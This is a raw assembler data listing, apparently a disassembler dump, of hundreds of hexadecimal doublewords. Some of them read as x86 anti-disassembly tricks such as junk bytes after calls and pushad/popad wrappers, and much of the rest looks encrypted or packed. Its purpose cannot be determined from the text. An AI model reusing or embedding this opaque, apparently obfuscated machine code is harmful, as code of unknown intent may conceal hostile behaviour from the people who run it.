dd 786h, 1850F00h, 0FC000000h, 0F27FB83h, 25C85h, 14E86000h
dd 0B2000000h, 0CF7F2C02h, 0E65F68FBh, 0BBF8CFE6h, 37BE68Ah
dd 8B3ADAB4h, 0E28058CEh, 0BD8D6101h, 62299FEh, 0EBD89F9h
dd 6A06229Ah, 3E85500h, 20000000h, 895DC35Dh, 8104246Ch
dd 16042444h, 45000000h, 1844C355h, 8860FC1h, 0F000000h
dd 288h, 66616000h, 0DE9C88Ch, 22000000h, 0B1ED0C7Dh, 85CE3219h
dd 0FD8CFBF3h, 0E9600324h, 10h, 462BEC3Ch, 1AA9E1B8h, 0CB4DD57h
dd 0FE015C1Ah, 3F08166h, 0C00A61F6h, 14C850Fh, 0F600000h
dd 685h, 8D0F00h, 61000000h, 104FBE60h, 0B8667C0Fh, 8D610DB2h
dd 229FF1B5h, 51006A06h, 3E8h, 0C3592000h, 244C8959h, 24448104h
dd 1D04h, 0C3514100h, 6FDE9525h, 40D7F907h, 6660A69Bh
dd 0E381CF8Bh, 188FAB1Eh, 0EE961h, 22280000h, 0CF10AD2Dh
dd 9382B582h, 77FC6A65h, 0A0CC858Bh, 6A0622h, 3E857h, 5F200000h
dd 7C895FC3h, 44810424h, 1A0424h, 57470000h, 0B4833CC3h
dd 83480B5Ah, 11E950h, 60770000h, 0ED51CCB6h, 0B39E16A4h
dd 8D37DEEDh, 89407695h, 840F2414h, 1, 4C010FF9h, 5AF5FE24h
dd 8160FC60h, 2016E5C3h, 0DF8B665Bh, 83F56161h, 9E924C2h
dd 7F000000h, 2F0C3787h, 687C2E4Ch, 0FC728966h, 1C880Fh
dd 8B600000h, 13E9D7h, 6CDB0000h, 0DCD02AEEh, 0A4C18881h
dd 617856Ah, 67BDC4C5h, 0CEC161F1h, 1870F10h, 0F8000000h
dd 2728966h, 12E9h, 87FEA900h, 1A8E298Ch, 139D9F76h, 1BA20158h
dd 0CDB021EAh, 15850F04h, 0F000000h, 0F80h, 0AE900h, 0BD480000h
dd 0B0301CC3h, 0C79F6096h, 4DE9h, 800F6000h, 3, 0B4F78B66h
dd 858B6153h, 622A0CCh, 0F1B58DF5h, 0F506229Fh, 4BA8858Dh
dd 6A0622h, 3E857h, 5F200000h, 7C895FC3h, 44810424h, 190424h
dd 57470000h, 9E16A4C3h, 0FDEEDB3h, 180h, 0FFFCF800h, 8589FCD0h
dd 6229A06h, 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h
dd 15h, 0EDC35040h, 13E912h, 113C0000h, 6EF9FC94h, 5693C59Fh
dd 9895E7AAh, 0AF677B7Ah, 6A61EEh, 3E856h, 5E200000h, 74895EC3h
dd 44810424h, 1B0424h, 56460000h, 0DFA753C3h, 0A2A8277Dh
dd 11E97Ch, 367D0000h, 7C1E87F0h, 5C865EF8h, 0DBA75CDh
dd 0F2F4D29h, 181h, 858BF500h, 6229A06h, 0E857006Ah, 3
dd 5FC35F20h, 4247C89h, 4244481h, 1Dh, 0AEC35747h, 5546FE06h
dd 0DD127AC9h, 6AC3F9C1h, 3E85200h, 20000000h, 895AC35Ah
dd 81042454h, 14042444h, 42000000h, 0F76C352h, 189h, 0F960F500h
dd 810F50h, 58000000h, 6A6061h, 3E853h, 5B200000h, 5C895BC3h
dd 44810424h, 1A0424h, 53430000h, 3EAD5BC3h, 168D3EF5h
dd 78A0Fh, 8D0F0000h, 1, 0CCBD83FCh, 622A0h, 8B850Fh, 6A0000h
dd 3E852h, 5A200000h, 54895AC3h, 44810424h, 140424h, 52420000h
dd 0E8606DC3h, 0Ah, 0F494A953h, 3B2ADB5Ch, 0FE972AFh, 3000000h
dd 3DD78C95h, 0DB9E6EF6h, 0D98F3C3Ch, 66585C7Bh, 6061F18Bh
dd 59C88B53h, 58A0Fh, 2ABA0000h, 6110743Eh, 0A0CC85C7h
dd 13F0622h, 6A0001h, 3E853h, 5B200000h, 5C895BC3h, 44810424h
dd 160424h, 53430000h, 2383B9C3h, 2800F60h, 60000000h
dd 4ACB8061h, 0CE961h, 0F600000h, 0BB57FFBFh, 1BE3E745h
dd 20CD615Ah, 0
dd 3774C00Bh, 8B0C708Dh, 229A0EBDh, 8B906h, 75A60000h
dd 0FA754922h, 8B30488Bh, 229A0A9Dh, 34583B06h, 0D38B157Fh
dd 304D26Bh, 89018BCAh, 229A0685h, 8B04EB06h, 61C5EB00h
dd 9A06858Bh, 0E9CF0622h, 0Bh, 1D80F83Eh, 45E2C20Dh, 6A3CB076h
dd 3E85100h, 20000000h, 8959C359h, 8104244Ch, 16042444h
dd 41000000h, 0BFD7C351h, 8B6660B9h, 0C08B61F3h, 13E8h
dd 0FFDC8600h, 3A91A8CCh, 64CCFB33h, 0BE2E7E7Ch, 0DCE1D5C7h
dd 5A75E980h, 8147CC80h, 5BC5C2h, 0C0BFF900h, 0E9000016h
dd 6, 9C3D84Ch, 32FF91A6h, 8E9h, 899BF900h, 15BE0C18h
dd 9E85E88h, 12000000h, 7D6B0A97h, 0F18FE45Bh, 9E857h
dd 0D7BD0000h, 0C4F2D964h, 59493370h, 0C681585Bh, 41BF9BFh
dd 0F681C78Bh, 45A3F7E1h, 0D38B6660h, 10E9h, 6FC0C900h
dd 0B615E489h, 0F926AF6Fh, 0E7F8ABE0h, 0EE8161F3h, 3CF59AA6h
dd 0DE14BA60h, 66573C76h, 5EDDEBBFh, 0F328961h, 288h, 83EE8A00h
dd 0B70F04EAh, 1EF81C1h, 0F000000h, 0FFFF7985h, 816660FFh
dd 0E9153CC2h, 5, 0A621C810h, 0E5E961B9h, 10000000h, 0DCFFEE4Dh
dd 1D1F3271h, 0DD7A0E0Ah, 3733538Fh, 557D2F6Dh, 7F2D773Dh
dd 7DD77DD5h, 6DF73D57h, 73D575DFh, 3D577DD7h, 0D55FEDF7h
dd 37335375h, 557D2F6Dh, 7F2D773Dh, 7DD77DD5h, 6D171E57h
dd 602075DFh, 20206020h, 2060E0E0h, 0F77B68ACh, 20A1E4A9h
dd 0A693B2D0h, 0B99DB7EDh, 0ACA3F291h, 60206020h, 20206020h
dd 2060E0E0h, 0A335375h, 557D2F0Dh, 60206020h, 0A7286020h
dd 50F0362Bh, 0B6F360D6h, 0F796A1EFh, 0E3A7B4E0h, 0F47192B8h
dd 6DB9E9B3h, 602060F7h, 60206020h, 6DF72020h, 73351ADFh
dd 3D577DD7h, 0D55FEDF7h, 37335375h, 557D2F6Dh, 7F2D773Dh
dd 7DD77DD5h, 6DF73D57h, 73D575DFh, 3D577DD7h, 0D55FEDF7h
dd 37335375h, 357D2F6Dh, 0E0A1Eh, 0A766C1A8h, 43F2FD54h
dd 31E0A424h, 0CB5E9h, 0A5286800h, 73E90622h, 68FFFCDAh
dd 622A631h, 0FCDA69E9h, 0A6F068FFh, 5FE90622h, 68FFFCDAh
dd 622A7DAh, 0FCDA55E9h, 0A86C68FFh, 4BE90622h, 68FFFCDAh
dd 622A932h, 0FCDA41E9h, 0AA6D68FFh, 37E90622h, 68FFFCDAh
dd 622AB8Eh, 0FCDA2DE9h, 0AC8568FFh, 23E90622h, 68FFFCDAh
dd 622AD8Fh, 0FCDA19E9h, 0AE4C68FFh, 0FE90622h, 0D2FFFCDAh
dd 0ECB027DAh, 0BCF46B9h, 27EB629Fh, 42067D82h, 0DA269D64h
dd 78891D20h, 99763D01h, 0B74A5E22h, 0D42B7C40h, 6F1B945Dh
dd 19B0FE97h, 457FF22Ah, 8E0B9D62h, 8D1AD9CEh, 0FAAACE72h
dd 1DDD56B9h, 3CE4768Bh, 0ED7C8618h, 887730F1h, 88DAA11h
dd 0B2FAE38Fh, 0AF6F15F0h, 0D16307F8h, 0FC758A1Dh, 358541C6h
dd 5B7FAB7Dh, 788720E4h, 167146E6h, 3CB725F3h, 0D7287FA2h
dd 0F40B9C60h, 6F9AE62h, 96E7C074h, 868BA30Fh, 50E28641h
dd 63F50C9Ch, 1914CA59h, 61C01E99h, 9842B946h, 974D9C1h
dd 549ECh, 62457900h, 50570B9Dh, 66D138AFh, 0C0EF8E17h
dd 0BC1D86B9h, 1A9337DBh, 0EFAB596Eh, 0CDE6A615h, 0E408B042h
dd 0C565F7ABh, 25F1AAF1h, 3506D857h, 9754F64h, 2F89h, 95A21600h
dd 0ECC78700h, 0A1CAA24Eh, 0A95D1FD3h, 0A7CB7305h, 80DD822Eh
dd 0D68A15F0h, 0C0D0A444h, 0B73625F2h, 5D451427h, 0E2680974h
dd 0F5000000h, 0B9D6245h, 8159058Eh, 141FD3A1h, 1A8C3C60h
dd 0F8AE6EE7h, 0C557A8FDh, 0C355791Dh, 7FE5980Fh, 0E178FBFFh
dd 0C542D478h, 0AF592B8Fh, 5B7FC579h, 8A03FCABh, 9224DBCAh
dd 956C3AEAh, 0C0375B03h, 0D2E10B10h, 9966411Fh, 0B6495E22h
dd 8DEB073Dh, 98EF908Fh, 0AC8BE274h, 0AC535414h, 0FED6721Ah
dd 911FD2F2h, 14C039DDh, 15F0029Bh, 78057C30h, 320D4642h
dd 0D8FCB7FEh, 66DFB285h, 138B82BAh, 0E861151Ch, 7778FBB2h
dd 9B53472h, 2C142931h, 486C10C4h, 6A970FCFh, 8A772FF3h
dd 6C480123h, 726BCFAh, 9D2h, 0FB728F1Dh, 1A916E37h, 36AD5456h
dd 51C83772h, 71E8198Dh, 44626B25h, 318246BDh, 5A367DEh
dd 0E6C185FCh, 60D9A219h, 0B0FCDCB4h, 0C4376F19h, 29A06145h
dd 46BD4265h, 95A2CFh, 8136DB87h, 2FE315F0h, 0C229FD9Dh
dd 128F25F2h, 0FAAA5552h, 0B42F53AEh, 396E2E2Ah, 138C34C6h
dd 0F2C18F67h, 4A6E2225h, 745CE5B4h, 0F39F2809h, 25F2CE1Bh
dd 0A17925AEh, 3425F2CDh, 0B763DC80h, 25F2CDDFh, 19ABE72h
dd 0C9h, 9162458Eh, 0B143E718h, 0DF58A9FDh, 0D36327A9h
dd 1C409FB0h, 6E5EA8Ah, 8C1B1FD3h, 6F38FC73h, 90A7FE90h
dd 5F4E84FDh, 1A02DB14h, 49B8F2A2h, 0ED23AC25h, 169199D1h
dd 56F216E6h, 15EFD9DDh, 0E047BE72h, 30B93257h, 0A5C93870h
dd 1345A609h, 269F531Ch, 0EFB64D66h, 32D67E10h, 0D60C950Eh
dd 7AF03A64h, 0CD5A8000h, 0F3AB6913h, 297D2D51h, 99D61D8h
dd 0F3A591F8h, 8A20FA13h, 8C96Bh, 69981400h, 88772EF2h
dd 0A45D4D11h, 0BF40692Dh, 0DF228448h, 5B621C68h, 7B3FB64Bh
dd 9C60D738h, 0BA7EF50Ch, 0D29B12EDh, 0FBD5AD59h, 306819B0h
dd 0A06145BDh, 0CDDC9C29h, 0EC7E8126h, 0B8F0A044h, 0EB0FB749h
dd 1C936C3Bh, 9D6245A5h, 0AF50570Bh, 0BBEBAB38h, 0E80CB446h
dd 0F93E92DEh, 3FE31E88h, 81611AC6h, 6DF615F0h, 0F2C1E9C1h
dd 24C87C25h, 0F637F191h, 7FB8243Ah, 60E5910Ah, 0D1AD82Ah
dd 8820E059h, 6CC35579h, 0C44DC6CBh, 7AA9FE8Eh, 2D861B54h
dd 7E1A3EE2h, 20FC011Bh, 0DB9B14C8h, 2FBC33CCh, 27CA53F9h
dd 0A72985h, 21C56DFFh, 0A55A4DFDh, 45D003Eh, 0E2DC3E7h
dd 80Ah, 33AA5755h, 52C9366Fh, 6EE51C8Eh, 8900FFAAh, 0A920E1C5h
dd 0C9AA35Dh, 0F9BA7EF5h, 0CDDB9F16h, 0AEF9BD34h, 9811DA51h
dd 0B0FC14ECh, 0FC6FA719h, 0B9D6245h, 950E83B4h, 9C2ED3D5h
dd 0AB57D0F4h, 15F0ABAEh, 8D80D50Bh, 70BB933Fh, 9A4E25F3h
dd 35B5A774h, 0AD24D811h, 239CF146h, 3EEA5063h, 25F32C66h
dd 7DA145F9h, 8F905804h, 4F031C13h, 6E9116D6h, 8B7433F7h
dd 0F495A2F9h, 0F3CB77B3h, 862C15CFh, 9B52ED2h, 2C15CF31h
dd 0F36C10C4h, 100AA6Ah, 15CF8D65h, 486C202Ch, 317823CFh
dd 0BFF52236h, 0FD40ABBAh, 4BB4F324h, 0BD6D11B9h, 0F77014EDh
dd 0FD8F7037h, 0F8B83155h, 57F1CEAFh, 477CB575h, 3F682CA3h
dd 7BB12EC0h, 8CF73A7Bh, 0D5284C81h, 0AB62F62h, 28554B55h
dd 43C72EE2h, 42EEAF27h, 7208DACh, 416B0000h, 208549C0h
dd 6A468DFh, 0E9C084FBh, 0CBDB9F16h, 0B973BF36h, 980FF2B4h
dd 0B930DFD4h, 0D74EB3F5h, 0F46B9413h, 2E06B22Bh, 0C119B0FAh
dd 95A21689h, 28DB8700h, 0B515F404h, 0DFC88801h, 0C2E5A920h
dd 7EDFE0BBh, 0DB1534Bh, 2DD50B94h, 739A2D1Eh, 56663EDAh
dd 0C3F925F6h, 0FBD7121Bh, 395D0116h, 57F42AA7h, 0EC652342h
dd 1B1C6F93h, 0EB74FD76h, 0F5D3673Fh, 0DB248325h, 0B468A149h
dd 0DDF7F490h, 0E0941C12h, 6DF46F79h, 3554EAFAh, 68Eh
dd 0B72ED3D9h, 0D64DB2F3h, 0F2699812h, 0D847B2Eh, 2DA45D49h
dd 881E27E1h, 753E0279h, 495F239Ah, 2A7D41B8h, 1C955ED5h
dd 0B0F99870h, 80F32B19h, 870095A2h, 0F2236851h, 0C9ED63EFh
dd 0E1DCA450h, 4F0F15F3h, 6E16A859h, 0D6DB114Ah, 0B458542Fh
dd 0B43DB65Ah, 0BC4EB1F4h, 6740F014h, 973F17C3h, 1ED225F6h
dword_5685C8 dd 0CC78017Ah, 25F697F4h, 38AFD387h, 0E14A3374h, 83D35D58h
dd 0D4AC58D1h, 6725F626h, 267D0FB3h, 57037C11h, 1C1688ACh
dd 3CFC7529h, 0E20F126Bh, 0C95BA401h, 26BFFB21h, 5E22993Dh
dd 7D3DB649h, 29E6CD36h, 0B94BEF97h, 45BED11h, 39E55E33h
dd 2235F884h, 0E6F65D11h, 5DE44859h, 5C8A8C7h, 99130000h
dd 782DF168h, 5E4C1087h, 41682CA3h, 238347BEh, 611B67DEh
dd 40B74A5Ch, 61D8377Ch, 7FF60B9Dh, 9C13ECBBh, 0D6AE5AD3h
dd 6919B0F8h, 6245BE31h, 50570B9Dh, 66D138AFh, 9210E8A1h
dd 4A8F5AAh, 0F4CADF8Bh, 975715EFh, 0B55DEF10h, 47629811h
dd 8441F3DDh, 0CCAD698Fh, 6ED46ECDh, 4418B84Ah, 0AA25F1FAh
dd 6FA5B32Bh, 287D5343h, 0A145B1D7h, 8CCD6387h, 410975ACh
dd 0D176550Bh, 83A79725h, 33EAh, 95A27700h, 67A8037Eh
dd 0BA5EA75Eh, 7282B841h, 0B625FEE7h, 6A0EF3B7h, 8A05AA46h
dd 0FEB215EFh, 0C9F8CC6Ch, 0DF5E25F1h, 647D3CFFh, 0BB900975h
dd 1D000000h, 0B9D6245h, 39B24F57h, 0A22C04B0h, 0BBF1FD3h
dd 6A155E7h, 0F4B367F9h, 4707940Bh, 4A22CE6Ch, 0DD1FD3A2h
dd 0C5618529h, 1FD3A6C0h, 0D74EB1F6h, 0D96B9413h, 67E0B582h
dd 0F0BB92BBh, 0DC530715h, 56CFC275h, 142ACFAAh, 3FB86C1Ch
dd 0B2D62B7Fh, 0D42D7939h, 4E26D25Bh, 0A12C146Ah, 146B1DF5h
dd 0C3FCB02Ch, 6AB68E3Ah, 95492C14h, 9256CDF1h, 39C6E114h
dd 6F82E95h, 0F58BFA6Ch, 48DD6h, 2DD4D800h, 4CB3F2B6h
dd 689911D5h, 837C2DF1h, 0A35E480Ch, 1F26E02Ch, 3F037A87h
dd 60249B74h, 7E42B948h, 965FD629h, 0F799711Dh, 0F42C19B0h
dd 0A0614581h, 0BD426529h, 95A2CF46h, 36DB8700h, 0A315F081h
dd 0AA3CC5E3h, 0F1A5DE02h, 0EFAC4278h, 0E6489448h, 0BC9030C2h
dd 2225F34Bh, 98701CA5h, 2B25F34Bh, 6D85377h, 18149252h
dd 0F34B946Ch, 0CF732725h, 0DB71953Dh, 974EA9Eh, 421AC64Fh
dd 0D525F357h, 0EF64FD21h, 0F1000000h, 7EEBC7Ch, 26CE60A1h
dd 0F9AE5E82h, 0E6C07406h, 0E4E9891Bh, 1A1FD3A5h, 70F9728Dh
dd 0D3A5ECC4h, 0A7CB7F1Fh, 0C43B6C30h, 3E16C24Bh, 0D11FD3A5h
dd 0C9466D1Dh, 609613A5h, 64823BE6h, 7DA61084h, 0CB6EE22h
dd 46F14468h, 0E98D7237h, 0B25EE770h, 1FD3A9DAh, 0D0F2376Dh
dd 839F7988h, 8B842FDFh, 912D51F9h, 15F19768h, 4BB229DDh
dd 75089DECh, 0CCC035B2h, 0F88A2EA0h, 8733AC50h, 1C149D47h
dd 0FDBD36EAh, 1DE158A9h, 0E1117889h, 64FA6DF4h, 36CAFCEh
dd 0F5B70000h, 0D4D1950Ch, 0BAF0B42Bh, 9D0CD047h, 7F27EB62h
dd 5BF0B82h, 0E45BA600h, 57C9320h, 239A6741h, 40B7485Fh
dd 7A52FE77h, 0D19B0F6h, 614562D5h, 9E26D1Eh, 172E6F4Ch
dd 4763D381h, 0B029CD71h, 0B749B8F0h, 0CA5CA503h, 0E35A7E22h
dd 0ED149656h, 718E19C9h, 624583FAh, 6C182291h, 1FD3A194h
dd 2BCF7327h, 3DC2E599h, 76C6A8C6h, 0A753CCC1h, 15F081EEh
dd 9656CF83h, 0E25FF110h, 0F2C15E36h, 993DF125h, 0C19C7420h
dd 7B2F25F2h, 0E824C457h, 69C205F8h, 9642BBCEh, 0C0452349h
dd 0D99912C6h, 0FBA335DAh, 49EE45D7h, 0EC906F38h, 9D64C773h
dd 5D11C669h, 26D25BE4h, 0D669DC4Eh, 2D7D2DE1h, 0A700B0D4h
dd 4A8674Ch, 6640008Dh, 0DC421AC6h, 21D5D669h, 0FEA9597Dh
dd 0DCA8802Ch, 873BD669h, 0DC8A620Eh, 691DD669h, 0F4BC5EC5h
dd 11A740BAh, 275F2h, 15ECC000h, 34CBDA9Eh, 50B1F9BDh
dd 6B9415D9h, 8B7630F4h, 70EC814h, 27EB629Fh, 480C838Ch
dd 662AA160h, 7E47BE41h, 0F5815905h, 0DC1419B0h, 0F7BC7C69h
dd 65DE8618h, 0D3A1E1B9h, 9CC0741Fh, 0B244BBECh, 0CD327535h
dd 1C6F933Bh, 3DFD761Bh, 0C3E3936Ch, 0E004AC3Eh, 871EDE67h
dd 1A3EE678h, 0F0B8857Eh, 0EF661A15h, 0FB06A262h, 939DC169h
dd 228747E1h, 7FA34BDDh, 5B10B2Ch, 25F2B92Dh, 0B9FCD480h
dd 0DB8F25F2h, 0D14AEEA2h, 0FD411248h, 0E632E6CDh, 776D26C2h
dd 4E021C10h, 6B9415D5h, 7A0D31D9h, 80E70ADAh, 0D1C47368h
dd 1A27AC58h, 20D4DEBEh, 8D00378Eh, 56028B14h, 0EEC0597Eh
dd 9D395D11h, 0E4E2943Ah, 7F8027E7h, 28A145EDh, 47C03F68h
dd 4CDE2387h, 1E8F9222h, 0F99D389Fh, 0D9A5ED5h, 10E8941Dh
dd 0A3F4E31Ch, 1B7B53EFh, 0D80EF4E3h, 81612DD9h, 0D7872BABh
dd 258C30D1h, 23233AE9h, 6BAFCE64h, 0B6000001h, 0D0940BF6h
dd 0EFB32AD5h, 0BCF46BBh, 26EA619Eh, 0BE0A8180h, 5CA50104h
dd 7D9221E5h, 9B664206h, 0B8476024h, 53FF7841h, 19B0F47Bh
dd 7C63D60Eh, 8214EBBCh, 0A106B6DAh, 8E25E55Eh, 74CB5D81h
dd 0A955CEC3h, 15F09204h, 0C484FDB1h, 0E1891BE6h, 4B2846BDh
dd 0DE573AFDh, 0FB17932h, 0C75A0E1Ch, 629EAF27h, 6642024Ch
dd 3D61099Bh, 0CF484DEAh, 4569960Fh, 0D09B20CCh, 8848DB21h
dd 0AB3DE120h, 0DC2CE354h, 335C9C8Fh, 0B41BA5Eh, 49E07262h
dd 0D64F7361h, 46B7C72Ah, 47C074E1h, 66DF2087h, 89020DA6h
dd 46F705DDh, 0C0E498F1h, 0DD228549h, 5F9AA876h, 0F615AB27h
dd 0AEh, 0D74EB3F9h, 0F66D9213h, 12897832h, 2DA45B4Eh
dd 4DC43D69h, 683E4701h, 555E2299h, 297F43BAh, 0A9D61D8h
dd 3CB57EF5h, 0B0F3B890h, 0A0134B19h, 0B9D6245h, 18C83B4h
dd 0DBEB8168h, 6BF46D11h, 0C65E36E2h, 2D7A1FD2h, 0C1E599D2h
dd 0EFCFD025h, 32A95D15h, 0B0296CCBh, 12323404h, 822EB71Ch
dd 2C1471AAh, 487A073Dh, 68FC8200h, 118E20C4h, 15A75851h
dd 0E99496Dh, 0F1B67AF1h, 0BDDC7C0Eh, 95D355EDh, 5E49D806h
dd 41662AA1h, 31782CBEh, 2BAA3CCEh, 0C6396EB3h, 0EAB5174Dh
dd 0F8E8F441h, 0E995DD4h, 3405FF1h, 0C9000000h, 674540A7h
dd 5354089Ah, 42661AACh, 3A792DBFh, 178F43D5h, 2A458EAh
dd 0F0B96DFFh, 0E1C97D0Fh, 0CBDA8E20h, 6886A234h, 342Ah
dd 51242489h, 4B9h, 244C0100h, 89515904h, 4C181E1h, 83000000h
dd 0C8704E9h, 34895C24h, 0E1895124h, 4C181h, 0E9810000h
dd 4, 5C240C87h, 51242C89h, 0F17E96B9h, 7E1C15Dh, 0E981E1D1h
dd 0EB5BF28Dh, 0C8BCE89h, 4C48324h, 242C8B54h, 5004C483h
dd 8B8h, 89E80100h, 24048B30h, 8B04C483h, 8952242Ch, 4C281E2h
dd 83000000h, 148704C2h, 348B5C24h, 0E2895224h, 4C281h
dd 0C2830000h, 24148704h, 0CDCCE95Ch, 0B567FFFCh, 1FB897D5h
dd 30622AFh, 0FEE0FFC5h, 0B704015Ah, 0FA54B3C4h, 0AF23FF04h
dd 7B727F48h, 5A35B89Dh, 680E8290h, 8464156Fh, 1F4EABF5h
dd 4A39665Ah, 0E975047Ch, 148h, 50h, 54h, 58h, 5Ch, 60h
dd 64h, 68h, 6Ch, 0B0h, 0B4h, 0B8h, 0BCh, 0C0h, 0C4h, 0C8h
dd 0CCh, 0D0h, 0D4h, 0D8h, 0DCh, 0E0h, 0E4h, 0E8h, 0ECh
dd 38h dup(0)
dd offset dword_5685C8+780h
dd 9E50EBh, 0AFF0858Dh, 830F0622h, 6, 422EF281h, 8589640Ah
dd 622B130h, 0C67FCD80h, 1F202585h, 0B5895406h, 61F1C39h
dd 6E960h, 0F4ED0000h, 3260D337h, 4E861FCh, 29000000h
dd 60EE6268h, 25BB5250h, 0F3F5819h, 5A616031h, 0C68B6058h
dd 0EE9h, 33BF1100h, 87B0A7EEh, 0C3A61B5Eh, 61A6DC7Fh
dd 8B665061h, 24448BDFh, 89008B04h, 66042444h, 158D38Bh
dd 1F311585h, 71B5FF06h, 89061F32h, 1F0F6195h, 7D9D8906h
dd 8D061F0Eh, 22799385h, 0FD0FF06h, 68Fh, 0C5B58900h, 89061F02h
dd 22B13485h, 499D8B06h, 0E9061F11h, 49h, 11E59D29h, 8B56061Fh
dd 22B130B5h, 83068906h, 22B13085h, 0C35E0406h, 0F0B58D60h
dd 0EB0622AFh, 6A560Fh, 95FF36FFh, 622B134h, 4C6835Eh
dd 75003E83h, 89C361ECh, 1F3085B5h, 69B58906h, 29061F0Ah
dd 1F0ABD95h, 4858D06h, 310622B2h, 1F2311BDh, 11858906h
dd 0EB061F0Fh, 0BE000039h, 0BE02CC00h, 0BE02E400h, 0
dd 9F706E00h, 867C4A47h, 9774EF76h, 9C703422h, 9637CC4Fh
dd 0BC19BC4Eh, 0BE552C76h, 0BD6D7A22h, 0A6777F52h, 937C7F4Ah
dd 1A798646h, 0F2194336h, 4902B85Ah, 0D34CBEADh, 4877328Bh
dd 0AB567FEAh, 0DDB25F6Bh, 0F213882Dh, 0F7F08622h, 0C2194322h
dd 2472D426h, 98D95B7Dh, 0F1F13A22h, 0D2193422h, 7B43D978h
dd 731D2976h, 0EF1DA266h, 0B0194322h, 0F2356270h, 948448DCh
dd 0F6054E4h, 0E693229Dh, 33A49975h, 0F21F1224h, 4F9A8F57h
dd 0F4065C73h, 0A200D522h, 4AD95B71h, 0F2196C9Bh, 0FD7CB1ABh
dd 6F941C3Dh, 0F438A286h, 0AA4255DDh, 0ED48FEA1h, 8619A73Dh
dd 4A4A8035h, 0F2196C9Bh, 0FD7CB1ABh, 6F941C3Dh, 0F438A1B1h
dd 0AA4255DDh, 0D3DFC244h, 37942A8Ch, 791FCF39h, 0A31902E2h
dd 0F21937CAh, 31403A22h, 0D655847Bh, 0D65D0726h, 0F2195926h
dd 3148E022h, 0B39A67EFh, 345FCD5Eh, 0ED3911A7h, 0F2734C24h
dd 0F21AE573h, 0AB398622h, 0BE901AE1h, 0B698A506h, 0F200D406h
dd 0A3586822h, 22DBE1h, 94AC80DCh, 0FD463C9Dh, 0C4717F95h
dd 0A2D95A3Ch, 1B28AE70h, 0F219D032h, 3608A4D4h, 1EBFAE6Bh
dd 0ED78E2F7h, 185864A3h, 0C698DE78h, 43BF2706h, 0A719CB7Eh
dd 0F219D3CAh, 31444822h, 0D675BD7Fh, 0D65D9B26h, 0F2191526h
dd 314CC322h, 2F71DA57h, 6710F7CDh, 0F406E287h, 83AC977Dh
dd 721F2B10h, 7794A1C7h, 0F43B74B1h, 1A4A8648h, 0F2194321h
dd 0A9DAFA02h, 0F63D8CABh, 0F63D2CA3h, 0F2193438h, 0ECDA4961h
dd 0F7875D87h, 7F28C2F0h, 0F4064C77h, 0F27371DDh, 0F21A3871h
dd 0A9396822h, 0AE906FE1h, 0B6981E06h, 0F20C0906h, 0A15A8622h
dd 92CD61E1h, 0FC8034A9h, 6F32D63Dh, 0F40673D7h, 0A8486243h
dd 0FD1D7078h, 0F2190DAFh, 0F21D6E22h, 0E2194322h, 0FCF0A122h
dd 0C19D022h, 73817A55h, 60A8300Eh, 74B65553h, 94795D71h
dd 94F2CE9Ch, 931D889Bh, 0F63DE5A9h, 0F2921493h, 0C3163A72h
dd 0A8E3BF44h, 0D65D937Ah, 444CB426h, 9841897Ch, 0F1F11222h
dd 0D219A122h, 7B40137Bh, 731D4C6Eh, 0E41D1066h, 0B3191A22h
dd 0E983CE73h, 6F8C0D00h, 9A1F5C08h, 3FB6F9D2h, 0A1806A74h
dd 73402C55h, 5BE51026h, 0F4F12872h, 3B190D22h, 1940575Ch
dd 0F273198Ah, 1A4EA148h, 0F219D021h, 0ADDA3702h, 0F63D48ABh
dd 0F63D5EA3h, 0F2190D37h, 73DAD165h, 0F20BAA33h, 0C217A122h
dd 0A69FF650h, 3AD9E432h, 7A35B153h, 60B88020h, 0EBCCB0A9h
dd 22E6803Dh, 1A4F4348h, 0F219A121h, 0ACDA8E02h, 0F63D1CABh
dd 0F63D70A3h, 0F2191A3Bh, 0F4DA5B64h, 45727203h, 0BB9CCA43h
dd 731F8390h, 0A6EC0DCDh, 0F7E1E358h, 0F21936EEh, 40549FABh
dd 329A0B00h, 0A39C0F3Ah, 0C11F6190h, 0F0F518E2h, 58EAD022h
dd 1A486848h, 0F2193421h, 0ABDA4302h, 0F63D41ABh, 0F63DC2A3h
dd 0F2194338h, 0F4DAF063h, 8FB05A66h, 4F306523h, 0F4062D2Fh
dd 0FC30A711h, 797F0B3Dh, 0D79C40E9h, 0B11F5C02h, 1A48A148h
dd 0F219D021h, 0ABDA3102h, 0F63D78ABh, 0F63D5EA3h, 0F2190D37h
dd 62DAD763h, 139825F6h, 3A7166A6h, 94E46477h, 0C698A6A9h
dd 2127A206h, 0A4197043h, 0F2190ECAh, 3147A622h, 0D66DCA7Ch
dd 0D65D2026h, 0F219C626h, 314F2E22h, 792A4F14h, 0ED3A539Fh
dd 83ACF224h, 981F9910h, 0F1F11522h, 0D219A122h, 7B47137Ch
dd 731D4C56h, 0E41D1066h, 0B4191A22h, 0CB00CE74h, 0BA40F7Dh
dd 7F1F5C39h, 0D06032A7h, 0A519BA24h, 0F2196BCAh, 31461422h
dd 0D665937Dh, 0D65D8C26h, 0F2199026h, 314E0422h, 0D4CC235h
dd 0A719BAF2h, 0F2196BCAh, 31441422h, 0D675937Fh, 0D65D8C26h
dd 0F2199A26h, 314C0622h, 0C536BCB8h, 4B33F106h, 0F4996799h
dd 79193422h, 0ED0F379Fh, 7B9C8424h, 941F9939h, 779493A9h
dd 0F406BF03h, 0F37855ABh, 0F2736E3Dh, 0F21ADC77h, 0AF391A22h
dd 9E9050E1h, 0B6988206h, 0F20D4706h, 0A75CA122h, 6732CCE1h
dd 0F4066243h, 0F21FBF2Dh, 67921A22h, 0F40612DFh, 0D23C03E4h
dd 984A453Dh, 0F1F1F322h, 0D219D022h, 7B43AB78h, 731D1076h
dd 0EB1D3E66h, 0B0190D22h, 439B4570h, 0A12D8882h, 0E40834A9h
dd 8271D63Dh, 7396EE13h, 0E5711026h, 0F2737709h, 0F21AE574h
dd 0AC398622h, 86901DE1h, 0B698A506h, 0F20CD406h, 0A45F6822h
dd 94947EE1h, 0CBF6D3A3h, 0E48C88ABh, 47E6803Dh, 0F4067153h
dd 1A4BA148h, 0F219D021h, 0A8DA3202h, 0F63D60ABh, 0F63D5EA3h
dd 0F2190D3Bh, 77DAD460h, 1183B788h, 7C16C1BEh, 0F219D021h
dd 0F9BF98A2h, 0ED0B05BFh, 77947B24h, 0F43B74B1h, 57AC0F71h
dd 0AB1F5C3Ah, 80F8969Dh, 92C92F54h, 3A980E70h, 794267F0h
dd 0ED026FA7h, 77906C24h, 0F4069B67h, 1A4B4348h, 0F219A121h
